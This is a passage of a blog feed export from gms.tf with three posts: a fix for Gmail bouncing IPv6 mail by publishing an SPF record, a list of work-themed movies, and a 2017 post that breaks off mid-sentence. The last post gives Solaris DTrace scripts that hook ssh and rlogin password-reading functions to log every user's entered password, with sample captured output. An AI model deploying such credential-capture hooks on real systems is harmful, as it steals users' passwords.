<\/span><span class=\"n\">Please<\/span><span class=\"w\"> <\/span><span class=\"n\">visit<\/span>\n<span class=\"w\">    <\/span><span class=\"mi\">550<\/span><span class=\"o\">-<\/span><span class=\"mf\">5.7.1<\/span><span class=\"w\"> <\/span><span class=\"nl\">https<\/span><span class=\"p\">:<\/span><span class=\"o\">\/\/<\/span><span class=\"n\">support<\/span><span class=\"p\">.<\/span><span class=\"n\">google<\/span><span class=\"p\">.<\/span><span class=\"n\">com<\/span><span class=\"o\">\/<\/span><span class=\"n\">mail<\/span><span class=\"o\">\/<\/span><span class=\"n\">answer<\/span><span class=\"o\">\/<\/span><span class=\"mi\">81126<\/span><span class=\"n\">#authentication<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">more<\/span>\n<span class=\"w\">    <\/span><span class=\"mi\">550<\/span><span class=\"w\"> <\/span><span class=\"mf\">5.7.1<\/span><span class=\"w\"> <\/span><span class=\"n\">information<\/span><span class=\"p\">.<\/span><span class=\"w\"> <\/span><span class=\"n\">a123456789b123xy<\/span><span class=\"mf\">.11<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">gsmtp<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">reply<\/span><span class=\"w\"> <\/span><span class=\"k\">to<\/span>\n<span class=\"w\">              <\/span><span class=\"k\">end<\/span><span class=\"w\"> <\/span><span class=\"k\">of<\/span><span class=\"w\"> <\/span><span class=\"k\">DATA<\/span><span class=\"w\"> <\/span><span class=\"n\">command<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>The original recipient (a small enterprise) doesn't even have a\nGmail address, but it uses the Google mail services with their\nown domain.<\/p>\n<p>Sure enough the <a href=\"https:\/\/support.google.com\/mail\/answer\/81126#authentication\">referenced Google page<\/a> has some additional\ninformation:<\/p>\n<blockquote>\n<p>To ensure that Gmail can identify you:<\/p>\n<ul>\n<li>Use a consistent IP address to send bulk mail.<\/li>\n<li>Keep valid reverse DNS records for the IP address(es) from which you send mail, pointing to your domain.<\/li>\n<li>Use the same address in the 'From:' header on every bulk mail you send.<\/li>\n<\/ul>\n<p>We also recommend the following:<\/p>\n<ul>\n<li>Sign messages with DKIM. We do not authenticate messages signed with keys using fewer than 1024 bits.<\/li>\n<li>Publish an SPF record.<\/li>\n<li>Publish a DMARC policy.<\/li>\n<\/ul>\n<\/blockquote>\n<p>Strange, first of all, the outgoing mail server doesn't send bulk mail and\nits reverse DNS record is fine. But there's more:<\/p>\n<blockquote>\n<p>Additional guidelines for IPv6<\/p>\n<p>The sending IP must have a PTR record (i.e., a reverse DNS of the sending IP) and it should match the IP obtained via the forward DNS resolution of the hostname specified in the PTR record. Otherwise, mail will be marked as spam or possibly rejected.\nThe sending domain should pass either SPF check or DKIM check. Otherwise, mail might be marked as spam.<\/p>\n<\/blockquote>\n<p>Indeed, the outgoing mail server is a proper IPv4\/IPv6 dual stack host and\nthe connection to the Google mail server was established over IPv6 (cf. the\nbounce message).<\/p>\n<p>Since the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Reverse_DNS_lookup\">reverse DNS<\/a> record for the used IPv6 address is\nfine, as well, the Google mail server really insists on a\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Sender_Policy_Framework\">SPF<\/a> or <a href=\"https:\/\/en.wikipedia.org\/wiki\/DomainKeys_Identified_Mail\">DKIM<\/a> configuration.<\/p>\n<h2 id=\"spf\">SPF<a class=\"headerlink\" href=\"#spf\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Sender_Policy_Framework\">Sender Policy Framework (SPF)<\/a> standard specifies a\npayload for the <a href=\"https:\/\/en.wikipedia.org\/wiki\/TXT_record\">TXT DNS record<\/a> that a receiving mail\nserver can consult to decide whether the sender is the one\ndesignated by the DNS hostmaster for sending mails for that\ndomain or not. This protects against spammers forging From\naddresses.<\/p>\n<p>In other words, it's analogous to the role the <a href=\"https:\/\/en.wikipedia.org\/wiki\/MX_record\">MX record<\/a>\nhas for a sending mail server.<\/p>\n<p>SPF is definitely easier to set up than <a href=\"https:\/\/en.wikipedia.org\/wiki\/DomainKeys_Identified_Mail\">Domain Keys Identified\nMail (DKIM)<\/a> and it doesn't have any <a href=\"https:\/\/en.wikipedia.org\/wiki\/DomainKeys_Identified_Mail#Non-repudiability\">plausible\ndeniability implications<\/a> for the message content of all\nsent messages.<\/p>\n<p>For small email servers, the simplest and probably most common\nsetup is to use the same IP addresses and hostnames for incoming\nand outgoing SMTP communication. This can be specified with a\nsimple <a href=\"http:\/\/www.openspf.org\/SPF_Record_Syntax\">SPF expression<\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>v=spf1 a mx -all\n<\/code><\/pre><\/div>\n\n<p>Meaning: it's a SPF version 1 record, valid hosts for sending\nmail for this domain are either ones that use an\naddress listed in an address record or ones that use a\nhostname listed in a MX record, and every other host isn't\nexpected to send any mail for this domain.<\/p>\n<p>Thus, such an expression is specific enough to identify the\nlegitimate mail servers but also generic enough such that that\nit's sufficient for small mail servers without any MX records,\nsmall mail server ensembles with multiple address records and\/or\nmultiple MX records.<\/p>\n<p>SPF doesn't differentiate between IPv4 and IPv6, thus, the <code>a<\/code>\nshould match both address types.<\/p>\n<p>Setting up such a TXT record should be simple enough with any\nnameserver or nameserver hoster. The entry can be verified like\nthis:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>dig<span class=\"w\"> <\/span>+noall<span class=\"w\"> <\/span>+answer<span class=\"w\"> <\/span>georg.so<span class=\"w\"> <\/span>txt\n<span class=\"go\">georg.so.       3600    IN  TXT &quot;v=spf1 a mx -all&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>And indeed, this makes the Google mail servers happy such that\nmails delivered via IPv6 addresses aren't bounced anymore.<\/p>\n<h2 id=\"closing\">Closing<a class=\"headerlink\" href=\"#closing\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since it's so common to have outgoing SMTP connections from the\nsame address as incoming ones, it would be a quite sensible\ndefault for the Google mail servers to assume the SPF expression\n<code>v=spf1 a mx -all<\/code> as default in case neither SPF nor DKIM is\nconfigured.<\/p>","category":[{"@attributes":{"term":"network"}},{"@attributes":{"term":"spf"}},{"@attributes":{"term":"email"}}]},{"title":"Work-related Movies","link":{"@attributes":{"href":"https:\/\/gms.tf\/work-related-movies.html","rel":"alternate"}},"published":"2018-04-18T21:10:00+02:00","updated":"2018-04-18T21:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2018-04-18:\/work-related-movies.html","summary":"<p>This article features a watch list of work related\nmovies. A list for getting some peace of mind in the evening\nafter working overtime.<\/p>\n<p>Each movie has some relation to a pathological work related\nsetting. Not always on the surface, but more on a deeper\nlayer of interpretation.<\/p>\n<p>Some of \u2026<\/p>","content":"<p>This article features a watch list of work related\nmovies. A list for getting some peace of mind in the evening\nafter working overtime.<\/p>\n<p>Each movie has some relation to a pathological work related\nsetting. Not always on the surface, but more on a deeper\nlayer of interpretation.<\/p>\n<p>Some of the movies are about war, perhaps this isn't by chance,\nbecause sometimes work is war.<\/p>\n<ul>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/A_Bridge_Too_Far_(film)\">A Bridge too far (1977)<\/a>- Watching this movie one might quickly\n  shout: 'Just one bridge too far?!? What about two or three bridges too\n  far!' So to say a symbol for a big project that isn't\n  completely ill-conceived but it's just too big and too\n  ambitious for doing a successful big-bang release. Like a\n  <a href=\"https:\/\/en.wikipedia.org\/wiki\/Second-system_effect\">second-system<\/a> project <a href=\"https:\/\/en.wikipedia.org\/wiki\/Waterfall_model\">waterfall-planned<\/a> by an\n  army of wannabe software architects and project managers.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Apocalypse_Now\">Apocalypse Now (1979)<\/a> - <em>Apocalypse Now<\/em> is directed by Francis Ford\n  Coppola who adapts Joseph Conrad's <a href=\"https:\/\/en.wikipedia.org\/wiki\/Heart_of_Darkness\">Heart of Darkness<\/a> into the\n  Vietnam War setting. Special forces army Captain Willard, who\n  has trouble establishing some work-life balance, gets the\n  top-secret mission to terminate the vigilante Colonel Kurtz. Of course,\n  the mission requires to rally through the Vietnam war theater\n  to a remote part of Cambodia. Kurtz\n  is a curious figure who was top of every class, but at some\n  point of time\n  deviated from the expected way, starting with going through a\n  special forces training in late years.<\/li>\n<li><a href=\"http:\/\/knowyourmeme.com\/memes\/rage-guy-fffffuuuuuuuu\">Bad Lieutenant (2009)<\/a> - Directed by Werner Herzog (!), it\n  features several work-related\n  <a href=\"http:\/\/knowyourmeme.com\/memes\/everything-went-better-than-expected\">went-better-than-expected<\/a> and <a href=\"http:\/\/knowyourmeme.com\/memes\/rage-guy-fffffuuuuuuuu\">rage-guy<\/a> moments. The\n  lieutenant (Nicolas Cage!) is highly dedicated to his work and perhaps\n  he is too idealistic, when he goes above-and-beyond to be the\n  good cop who rescues a prisoner during an evacuation. Of\n  course this doesn't play out well for him, and thus he's forced\n  to be more creative and apply unconventional methods in his work.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Downfall_(2004_film)\">Der Untergang (2004)<\/a> - The movie <em>Der Untergang<\/em> is about the last\n  days in the <a href=\"https:\/\/en.wikipedia.org\/wiki\/F%C3%BChrerbunker\">F\u00fchrerbunker<\/a>. There are some surreal scenes where\n  the leadership, i.e. the Wehrmacht generals and Hitler keep on\n  having meetings about some grand strategies. Not to relativize\n  anything, but the levels of cognitive dissonance aren't\n  necessary that different to a - say - upper management call about a\n  utmost important but ultimately doomed IT project.\n  Last but not least, the movie is the source of the <a href=\"http:\/\/knowyourmeme.com\/memes\/downfall-hitler-reacts\">Hitler-Reacts meme<\/a>.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Falling_Down\">Falling Down (1993)<\/a> - William Foster (played by Michael\n  Douglas) has a breakdown when he is stuck in rush hour traffic.\n  Instead of simply burning out, he is done keeping\n  calm and the situation escalates. In a sort of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Michael_Kohlhaas\">Michael Kohlhass<\/a>\n  style. The source of some of his anger is that he was recently\n  reduced-in-force from his defense contractor engineering job.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Fight_Club\">Fightclub (1999)<\/a> - the protagonist (played by Edward\n  Norton) works a dead-end and at the same time ethical\n  questionable job where he has to apply shareholder-value logic\n  to the aftermath of fatal car crashes. Thus, he develops\n  insomnia and feels more and more depersonalized. As a way out\n  he discovers self-help group tourism. All this escalates\n  quickly in unexpected ways.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Full_Metal_Jacket\">Full Metal Jacket (1987)<\/a> - Stanley Kubrick's <em>Full Metal Jacket<\/em>\n  starts with a traditional bootcamp training with the ultra\n  authoritarian drill instructor Sergeant Hartman. Later on, a\n  military journalist who is in a relatively safe location\n  develops the meme of wanting to get into 'the shit', i.e. to get\n  some war experience basically out of boredom.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/In_the_Loop\">In the Loop (2009)<\/a> - This political satire is about how a bunch of\n  assistants, communications and PR experts try to manage their\n  incompetent bosses and deal with their inconsiderate statements. Of course,\n  each meeting is extremely chaotic and the minister is\n  absolutely replaceable. All this can be read as a parable on\n  clueless C-level\/upper-management types who are easily confused with the\n  latest hype such as 'Blockchain', 'IOT', 'AI' and 'Datalakes', and who are\n  thus happy to rashly engage with shady consultants to come up\n  with the ultimate strategy that really will pivot the company to mega-growth,\n  big-time. The people who do the real work then have to work\n  around that mess, limit the damage and try to catch some of the\n  most problematic stray messages.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Killing_Them_Softly\">Killing them Softly (2012)<\/a> - A free-lancer (Brad Pitt) in a 2008\n  USA bad economy setting has to deal with some mob issues. He well\n  knows how to proceed, but the mob isn't how it used to be. The\n  overhead has increased and like in a mediocre corporation,\n  there are some useless processes to follow. To make things even\n  more unpleasant, a colleague who used to be good at his work\n  now is a liability and the employer makes a fuzz about the\n  payment. This neo-noir movie features shots of depressing\n  city development and parts of election speeches are cut in. It\n  ends with this epic line: 'This guy wants to tell me we're living in\n  a community? Don't make me laugh. I'm living in America, and in\n  America, you're on your own. America is not a country; it's\n  just a business. Now fucking pay me.'<\/li>\n<li><a href=\"https:\/\/www.reddit.com\/r\/funny\/comments\/3bwb16\/someone_didnt_get_the_memo\/\">Office Space (1999)<\/a> - <em>Office space<\/em> is a seemingly light 90ies comedy that\n  involves some cubicles. It even features Jennifer Aniston. It\n  turns out that it is a <a href=\"https:\/\/www.youtube.com\/watch?v=m4OvQIGDg4I\">treasure trove of internet memes<\/a>.\n  Perhaps the most popular is the <a href=\"https:\/\/www.reddit.com\/r\/funny\/comments\/3bwb16\/someone_didnt_get_the_memo\/\">Didn't you get the memo?<\/a>\n  one.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/The_Thin_Red_Line_(1998_film)\">The Thin Red Line (1998)<\/a> - As a war movie, The Thin Red\n  Line has everything: an ambitious colonel who\n  wants to over-deliver on taking an pacific island from the Japanese\n  as fast as possible since he sees it as last chance\n  after feeling been left out again and again for a long time. An overly cautious\n  captain who's actions effectively make things worse. An almost\n  gay hero who cares about his peers more than himself, and\n  an endless stream character development. Basically, it's 170\n  minutes of epic.  Directed by Terrence Malick, it's one of his\n  better movies and features and impressive cast, as well.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Tinker_Tailor_Soldier_Spy_(film)\">Tinker Tailor Soldier Spy (2011)<\/a> - On the surface a cold war\n  espionage movie (directed by Alfredson <a href=\"https:\/\/en.wikipedia.org\/wiki\/The_Snowman_(2017_film)\">before he lost his mojo<\/a>) it's\n  really about colleagueship and paranoia at the workplace. Like\n  for example when\n  reminiscing about a past office party where everybody seemed to\n  get along, while in the meantime most conversations are filled\n  with distrust.<\/li>\n<li><a href=\"https:\/\/de.wikipedia.org\/wiki\/Work_Hard_\u2013_Play_Hard\">Work Hard - Play Hard (2011)<\/a> - This documentary features\n  some epic shots of modern office settings while interviewing\n  assessment center job candidates, architects and managers that\n  follow the latest trends (e.g. 'lean'). There is no narrator, the\n  interviews stand for themself. Often, they are self-revealing\n  the absurdness and are unwittingly funny. The atmosphere ranges\n  from an unclear creepiness (think: <a href=\"https:\/\/en.wikipedia.org\/wiki\/The_Invitation_(2015_film)\">The Invitation<\/a>\n  build-up) that has elements of a\n  <a href=\"https:\/\/en.wikipedia.org\/wiki\/Brave_New_World\">brave-new-world<\/a> environment mixed with some <a href=\"https:\/\/en.wikipedia.org\/wiki\/Newspeak\">newspeak<\/a> to\n  general alienation.<\/li>\n<\/ul>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"movies"}},{"@attributes":{"term":"work"}}]},{"title":"Dtracing Passwords for Fun","link":{"@attributes":{"href":"https:\/\/gms.tf\/dtracing-passwords-for-fun.html","rel":"alternate"}},"published":"2017-12-17T22:30:00+01:00","updated":"2017-12-17T22:30:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-12-17:\/dtracing-passwords-for-fun.html","summary":"<p>Going through an old hardware stash, I've noticed a harddisk\nthat was part of a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Solaris_(operating_system)\">Solaris<\/a> test system of mine I disassembled 10\nyears ago. The disk contains an interesting artifact I\nimplemented at that time: a proof-of-concept for capturing user\nentered passwords with <a href=\"https:\/\/en.wikipedia.org\/wiki\/DTrace\">DTrace<\/a>.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#proof-of-concept\">Proof of Concept<\/a><\/li>\n<li><a href=\"#how-to-read-the-disk\">How to \u2026<\/a><\/li><\/ul><\/div>","content":"<p>Going through an old hardware stash, I've noticed a harddisk\nthat was part of a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Solaris_(operating_system)\">Solaris<\/a> test system of mine I disassembled 10\nyears ago. The disk contains an interesting artifact I\nimplemented at that time: a proof-of-concept for capturing user\nentered passwords with <a href=\"https:\/\/en.wikipedia.org\/wiki\/DTrace\">DTrace<\/a>.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#proof-of-concept\">Proof of Concept<\/a><\/li>\n<li><a href=\"#how-to-read-the-disk\">How to read the disk<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"proof-of-concept\">Proof of Concept<a class=\"headerlink\" href=\"#proof-of-concept\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The objective of this POC is to capture all passwords of all\nusers that try to login to a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Solaris_(operating_system)\">Solaris<\/a> system via\npassword authentication. That means logins via <a href=\"https:\/\/en.wikipedia.org\/wiki\/Secure_Shell\">ssh<\/a> or even via\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Rlogin\">rlogin<\/a>.<\/p>\n<p>With Solaris 10 and later, the natural and very convenient tool\nfor this job is <a href=\"https:\/\/en.wikipedia.org\/wiki\/DTrace\">DTrace<\/a>. DTrace comes with several providers, e.g.\nyou can install a probe for specific system calls or even specific\nuserspace functions.<\/p>\n<p>The challenge with this is that in contrast to - say - syscall\ntracing, userspace tracing always has a significant overhead.\nThus, the <a href=\"http:\/\/dtrace.org\/guide\/chp-pid.html#chp-pid\"><code>pid<\/code> provider<\/a> requires a concrete process\nid (PID) to trace, one cannot directly trace all userspace\nprocesses of an executable with that provider.<\/p>\n<p>Fortunately, one can work around this: write two DTrace scripts.\nThe first installs a probe that is executed for each exec of a -\nsay - ssh process. In the probe's action the just started process\nis stopped (to avoid a race condition) and the second DTrace\nscript with some pid provider userspace probes is started for\nthe new PID. The first action of this script is to restart the\nstopped process (see also <a href=\"http:\/\/dtrace.org\/guide\/chp-actsub.html#chp-actsub-4\">Destructive Actions, Dtrace\nManual<\/a>). By default, dtrace only allows safe\nactions, but it also supports enabling unsafe ones. Clearly,\nrunning external commands from a dtrace script and recursively\ncalling <code>dtrace<\/code> isn't safe and can escalate quickly.<\/p>\n<p>The remainder of the challenge is then to identify the\ninteresting functions that are called by the SSH and rlogin\ndaemon for obtaining the user entered password.<\/p>\n<p>The wrapper script (part 1):<\/p>\n<div class=\"m-code\"><table class=\"m-codetable\"><tr><td class=\"linenos\"><div class=\"linenodiv\"><pre><span class=\"normal\"> 1<\/span>\n<span class=\"normal\"> 2<\/span>\n<span class=\"normal\"> 3<\/span>\n<span class=\"normal\"> 4<\/span>\n<span class=\"normal\"> 5<\/span>\n<span class=\"normal\"> 6<\/span>\n<span class=\"normal\"> 7<\/span>\n<span class=\"normal\"> 8<\/span>\n<span class=\"normal\"> 9<\/span>\n<span class=\"normal\">10<\/span><\/pre><\/div><\/td><td class=\"code\"><div><pre><span><\/span><code><span class=\"err\">#<\/span><span class=\"o\">!\/<\/span><span class=\"nt\">usr<\/span><span class=\"o\">\/<\/span><span class=\"nt\">sbin<\/span><span class=\"o\">\/<\/span><span class=\"nt\">strace<\/span><span class=\"w\"> <\/span><span class=\"nt\">-s<\/span>\n\n<span class=\"p\">#<\/span><span class=\"nn\">pragma<\/span><span class=\"w\"> <\/span><span class=\"nt\">D<\/span><span class=\"w\"> <\/span><span class=\"nt\">option<\/span><span class=\"w\"> <\/span><span class=\"nt\">destructive<\/span>\n\n<span class=\"nt\">proc<\/span><span class=\"o\">:<\/span><span class=\"p\">::<\/span><span class=\"nd\">exec-success<\/span>\n<span class=\"o\">\/<\/span><span class=\"nt\">execname<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;ssh&quot;<\/span><span class=\"o\">\/<\/span><span class=\"w\"> <\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"err\">system(&quot;\/usr\/sbin\/dtrace<\/span><span class=\"w\"> <\/span><span class=\"err\">-q<\/span><span class=\"w\"> <\/span><span class=\"err\">-s<\/span><span class=\"w\"> <\/span><span class=\"err\">part2<\/span><span class=\"w\"> <\/span><span class=\"err\">-p<\/span><span class=\"w\"> <\/span><span class=\"err\">%d<\/span><span class=\"w\"> <\/span><span class=\"err\">-o<\/span><span class=\"w\"> <\/span><span class=\"err\">dtrace.log&quot;,<\/span><span class=\"w\"> <\/span><span class=\"err\">pid)<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"err\">stop()<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div><\/td><\/tr><\/table><\/div>\n\n<p>The actual script for ssh (part 2):<\/p>\n<div class=\"m-code\"><table class=\"m-codetable\"><tr><td class=\"linenos\"><div class=\"linenodiv\"><pre><span class=\"normal\"> 1<\/span>\n<span class=\"normal\"> 2<\/span>\n<span class=\"normal\"> 3<\/span>\n<span class=\"normal\"> 4<\/span>\n<span class=\"normal\"> 5<\/span>\n<span class=\"normal\"> 6<\/span>\n<span class=\"normal\"> 7<\/span>\n<span class=\"normal\"> 8<\/span>\n<span class=\"normal\"> 9<\/span>\n<span class=\"normal\">10<\/span>\n<span class=\"normal\">11<\/span>\n<span class=\"normal\">12<\/span>\n<span class=\"normal\">13<\/span>\n<span class=\"normal\">14<\/span><\/pre><\/div><\/td><td class=\"code\"><div><pre><span><\/span><code><span class=\"err\">#<\/span><span class=\"o\">!\/<\/span><span class=\"nt\">usr<\/span><span class=\"o\">\/<\/span><span class=\"nt\">sbin<\/span><span class=\"o\">\/<\/span><span class=\"nt\">dtrace<\/span><span class=\"w\"> <\/span><span class=\"nt\">-s<\/span>\n\n<span class=\"p\">#<\/span><span class=\"nn\">pragma<\/span><span class=\"w\"> <\/span><span class=\"nt\">D<\/span><span class=\"w\"> <\/span><span class=\"nt\">option<\/span><span class=\"w\"> <\/span><span class=\"nt\">destructive<\/span>\n\n<span class=\"nt\">BEGIN<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"err\">system(&quot;prun<\/span><span class=\"w\"> <\/span><span class=\"err\">%d&quot;,<\/span><span class=\"w\"> <\/span><span class=\"err\">$ppid)<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"nt\">pid<\/span><span class=\"o\">$<\/span><span class=\"nt\">target<\/span><span class=\"p\">:<\/span><span class=\"nd\">a<\/span><span class=\"p\">.<\/span><span class=\"nc\">out<\/span><span class=\"p\">:<\/span><span class=\"nd\">read_passphrase<\/span><span class=\"p\">:<\/span><span class=\"nd\">return<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"err\">printf(&quot;ssh<\/span><span class=\"w\"> <\/span><span class=\"err\">%d<\/span><span class=\"w\"> <\/span><span class=\"err\">%s\\n&quot;,<\/span><span class=\"w\"> <\/span><span class=\"err\">uid,<\/span><span class=\"w\"> <\/span><span class=\"err\">copyinstr<\/span><span class=\"w\"> <\/span><span class=\"err\">(arg1))<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"err\">ustack()<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div><\/td><\/tr><\/table><\/div>\n\n<p>Note that <code>prun<\/code> is a Solaris command line utility for restarting\na stopped process (think: <code>kill -CONT<\/code>). There is also room for\nimprovement: we don't really need to trace this ssh process until\nit exits. For our purposes, it is sufficient to trace it until -\nsay - it returns from <code>ssh_login<\/code>. Thus, we can add another probe\nfor just that event that executes the <a href=\"http:\/\/dtrace.org\/guide\/chp-actsub.html#chp-actsub-exit\">exit-Action<\/a>, such that this\ndtrace process stops all tracing and exits. This doesn't\ninterrupts the traced process.<\/p>\n<p>Example output:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>ssh 1234: sehrgeheimespassword\n\nssh`read_passphrase\nssh`input_userauth_info_req+0xef\nssh`dispatch_run+0x49\nssh`ssh_userauth2+0x19e\nssh`ssh_login+0xa6\nssh`main+0xbd2\nssh`0x80586ba\n<\/code><\/pre><\/div>\n\n<p>Similar script for rlogin:<\/p>\n<div class=\"m-code\"><table class=\"m-codetable\"><tr><td class=\"linenos\"><div class=\"linenodiv\"><pre><span class=\"normal\"> 1<\/span>\n<span class=\"normal\"> 2<\/span>\n<span class=\"normal\"> 3<\/span>\n<span class=\"normal\"> 4<\/span>\n<span class=\"normal\"> 5<\/span>\n<span class=\"normal\"> 6<\/span>\n<span class=\"normal\"> 7<\/span>\n<span class=\"normal\"> 8<\/span>\n<span class=\"normal\"> 9<\/span>\n<span class=\"normal\">10<\/span>\n<span class=\"normal\">11<\/span>\n<span class=\"normal\">12<\/span>\n<span class=\"normal\">13<\/span>\n<span class=\"normal\">14<\/span><\/pre><\/div><\/td><td class=\"code\"><div><pre><span><\/span><code><span class=\"err\">#<\/span><span class=\"o\">!\/<\/span><span class=\"nt\">usr<\/span><span class=\"o\">\/<\/span><span class=\"nt\">sbin<\/span><span class=\"o\">\/<\/span><span class=\"nt\">dtrace<\/span><span class=\"w\"> <\/span><span class=\"nt\">-s<\/span>\n\n<span class=\"p\">#<\/span><span class=\"nn\">pragma<\/span><span class=\"w\"> <\/span><span class=\"nt\">D<\/span><span class=\"w\"> <\/span><span class=\"nt\">option<\/span><span class=\"w\"> <\/span><span class=\"nt\">destructive<\/span>\n\n<span class=\"nt\">BEGIN<\/span><span class=\"w\">         <\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"err\">system(&quot;prun<\/span><span class=\"w\"> <\/span><span class=\"err\">%d&quot;,<\/span><span class=\"w\"> <\/span><span class=\"err\">$ppid)<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"nt\">pid<\/span><span class=\"o\">$<\/span><span class=\"nt\">target<\/span><span class=\"p\">:<\/span><span class=\"nd\">libc<\/span><span class=\"p\">.<\/span><span class=\"nc\">so<\/span><span class=\"p\">:<\/span><span class=\"nd\">getpassphrase<\/span><span class=\"p\">:<\/span><span class=\"nd\">return<\/span>\n<span class=\"p\">{<\/span><span class=\"w\">             <\/span>\n<span class=\"w\">  <\/span><span class=\"err\">trace(copyinstr(arg1))<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"err\">ustack()<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div><\/td><\/tr><\/table><\/div>\n\n<p>Example output:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">CPU<\/span>     <span class=\"n\">ID<\/span>                    <span class=\"n\">FUNCTION<\/span><span class=\"p\">:<\/span><span class=\"n\">NAME<\/span>\n  <span class=\"mi\">0<\/span>      <span class=\"mi\">1<\/span>                           <span class=\"p\">:<\/span><span class=\"kr\">BEGIN<\/span>\n  <span class=\"mi\">0<\/span>  <span class=\"mi\">42222<\/span>             <span class=\"n\">getpassphrase<\/span><span class=\"p\">:<\/span><span class=\"n\">return<\/span>   <span class=\"n\">sehrgeheimespassword<\/span>\n      <span class=\"mi\">0<\/span><span class=\"n\">xd0ea86ec<\/span>\n      <span class=\"n\">libnsl<\/span><span class=\"p\">.<\/span><span class=\"n\">so<\/span><span class=\"p\">.<\/span><span class=\"mi\">1<\/span><span class=\"err\">`<\/span><span class=\"n\">S_tab<\/span><span class=\"o\">+<\/span><span class=\"mi\">0<\/span><span class=\"n\">x2e<\/span>\n      <span class=\"n\">libnsl<\/span><span class=\"p\">.<\/span><span class=\"n\">so<\/span><span class=\"p\">.<\/span><span class=\"mi\">1<\/span><span class=\"err\">`<\/span><span class=\"n\">S_tab<\/span><span class=\"o\">+<\/span><span class=\"mi\">0<\/span><span class=\"n\">x282<\/span>\n      <span class=\"mi\">0<\/span><span class=\"n\">xd0c10bd6<\/span>\n      <span class=\"n\">libnsl<\/span><span class=\"p\">.<\/span><span class=\"n\">so<\/span><span class=\"p\">.<\/span><span class=\"mi\">1<\/span><span class=\"err\">`<\/span><span class=\"n\">_C0095A10<\/span><span class=\"o\">+<\/span><span class=\"mi\">0<\/span><span class=\"n\">xa3<\/span>\n      <span class=\"n\">libnsl<\/span><span class=\"p\">.<\/span><span class=\"n\">so<\/span><span class=\"p\">.<\/span><span class=\"mi\">1<\/span><span class=\"err\">`<\/span><span class=\"n\">_C0095A14<\/span><span class=\"o\">+<\/span><span class=\"mi\">0<\/span><span class=\"n\">x50<\/span>\n      <span class=\"n\">bash<\/span><span class=\"err\">`<\/span><span class=\"mi\">0<\/span><span class=\"n\">x8052829<\/span>\n      <span class=\"n\">bash<\/span><span class=\"err\">`<\/span><span class=\"mi\">0<\/span><span class=\"n\">x8053b59<\/span>\n      <span class=\"n\">bash<\/span><span class=\"err\">`<\/span><span class=\"mi\">0<\/span><span class=\"n\">x8052137<\/span>\n      <span class=\"n\">bash<\/span><span class=\"err\">`<\/span><span class=\"mi\">0<\/span><span class=\"n\">x8051e3a<\/span>\n<\/code><\/pre><\/div>\n\n<h2 id=\"how-to-read-the-disk\">How to read the disk<a class=\"headerlink\" href=\"#how-to-read-the-disk\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The old Solaris system was built with left-over hardware that was\nold even 10 years ago. That means the disk is a 80 GB\nparallel-ATA one.  Thus, I've used a parallel-ATA to USB adaptor\nto connect the old disk to a modern <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fedora_(operating_system)\">Fedora<\/a> 27 Linux system. A\nquick inspection shows that the disk contains some BSD style\npartition slices that <code>fdisk<\/code> doesn't understand but the kernel\ndoes such that some additional 